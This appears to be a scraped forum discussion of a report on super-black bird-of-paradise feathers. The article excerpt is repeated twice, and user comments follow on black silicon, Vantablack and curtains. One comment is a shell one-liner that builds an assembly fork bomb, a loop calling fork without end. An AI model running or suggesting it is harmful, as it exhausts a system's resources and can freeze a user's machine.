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Super-Black Is the New Black (theatlantic.com)
Feathers on birds of paradise contain light-trapping nanotechnology that makes some of the deepest blacks in the world, a new study has found. From a report: Blackbirds, it turns out, aren't actually all that black. Their feathers absorb most of the visible light that hits them, but still reflect between 3 and 5 percent of it. For really black plumage, you need to travel to Papua New Guinea and track down the birds of paradise. Although these birds are best known for their gaudy, kaleidoscopic colors, some species also have profoundly black feathers. The feathers ruthlessly swallow light and, with it, all hints of edge or contour. By analyzing museum specimens, Dakota McCoy, from Harvard University, has discovered exactly how the birds achieving such deep blacks. It's all in their feathers' microscopic structure.
A typical bird feather has a central shaft called a rachis. Thin branches, or barbs, sprout from the rachis, and even thinner branches -- barbules -- sprout from the barbs. The whole arrangement is flat, with the rachis, barbs, and barbules all lying on the same plane. The super-black feathers of birds of paradise, meanwhile, look very different. Their barbules, instead of lying flat, curve upward. And instead of being smooth cylinders, they are studded in minuscule spikes. These unique structures excel at capturing light. When light hits a normal feather, it finds a series of horizontal surfaces, and can easily bounce off. But when light hits a super-black feather, it finds a tangled mess of mostly vertical surfaces. Instead of being reflected away, it bounces repeatedly between the barbules and their spikes. With each bounce, a little more of it gets absorbed. Light loses itself within the feathers. McCoy and her colleagues, including Teresa Feo from the National Museum of Natural History, showed that this light-trapping nanotechnology can absorb up to 99.95 percent of incoming light.
A typical bird feather has a central shaft called a rachis. Thin branches, or barbs, sprout from the rachis, and even thinner branches -- barbules -- sprout from the barbs. The whole arrangement is flat, with the rachis, barbs, and barbules all lying on the same plane. The super-black feathers of birds of paradise, meanwhile, look very different. Their barbules, instead of lying flat, curve upward. And instead of being smooth cylinders, they are studded in minuscule spikes. These unique structures excel at capturing light. When light hits a normal feather, it finds a series of horizontal surfaces, and can easily bounce off. But when light hits a super-black feather, it finds a tangled mess of mostly vertical surfaces. Instead of being reflected away, it bounces repeatedly between the barbules and their spikes. With each bounce, a little more of it gets absorbed. Light loses itself within the feathers. McCoy and her colleagues, including Teresa Feo from the National Museum of Natural History, showed that this light-trapping nanotechnology can absorb up to 99.95 percent of incoming light.
People have tried.
https://phys.org/news/2006-06-...
Silicon surfaces rendered black by pits and bumps only nanometers or billionths of a meter large could in the future help make solar power cells more efficient.
Flat silicon surfaces are normally highly reflective. Scientists want to minimize reflection as much as possible when it comes to solar power cells made of silicon, because the more light they reflect, the less they convert to electricity. Often, anti-reflective coatings are used, which reduce the amount of average reflection in the wavelengths of light solar power cells use by 85 percent to 92 percent.
The novel treatment developed by researchers at the Technical University of Munich can cut the surface reflection silicon experiences by 95 percent to 98 percent across the wavelengths of light solar power cells use, making them black.
"The results are really good when it comes to preventing reflection. It is still speculative as to how much this can boost the efficiency of solar cells. I am optimistic that for traditional designs of solar cells, it could give a 15 to 20 percent improvement with respect to their present efficiency. The performance of some solar cells with novel design could be improved even more dramatically. However, I think we will need a bit of time to show this," said researcher Svetoslav Koynov, a physicist.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Vantablack has already been invented, move on!
Vantablack has to be grown at 400 C in a furnace, while birds manufacture their feathers somewhere in the neighborhood of 40 C. Far more materials are amiable to being subjected to bird temperatures than Vantablack temperatures. Vantablack surfaces also have to be protected from accidental touching or abrasion, something that bird feathers don't have the luxury of.
Overall, I think there is probably still quite a bit we can learn from birds. Also, they're just neat.
Blinds and curtains to keep the light out. I bet they would have an incredible insulating factor also.
The blacker something is, the more energy it radiates in the near infrared. So I'm going to say that they wouldn't improve the insulating factor. In fact, if you exposed the black side, they would reduce it.
Blackout cloth already blacks out the light sufficiently that the limiting factor is how well you can seal around the edges of your curtains. Exposing the black side would fix this problem, but cause the other problem. The hot outer side of the curtain would heat up the air between the curtain and the glass.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"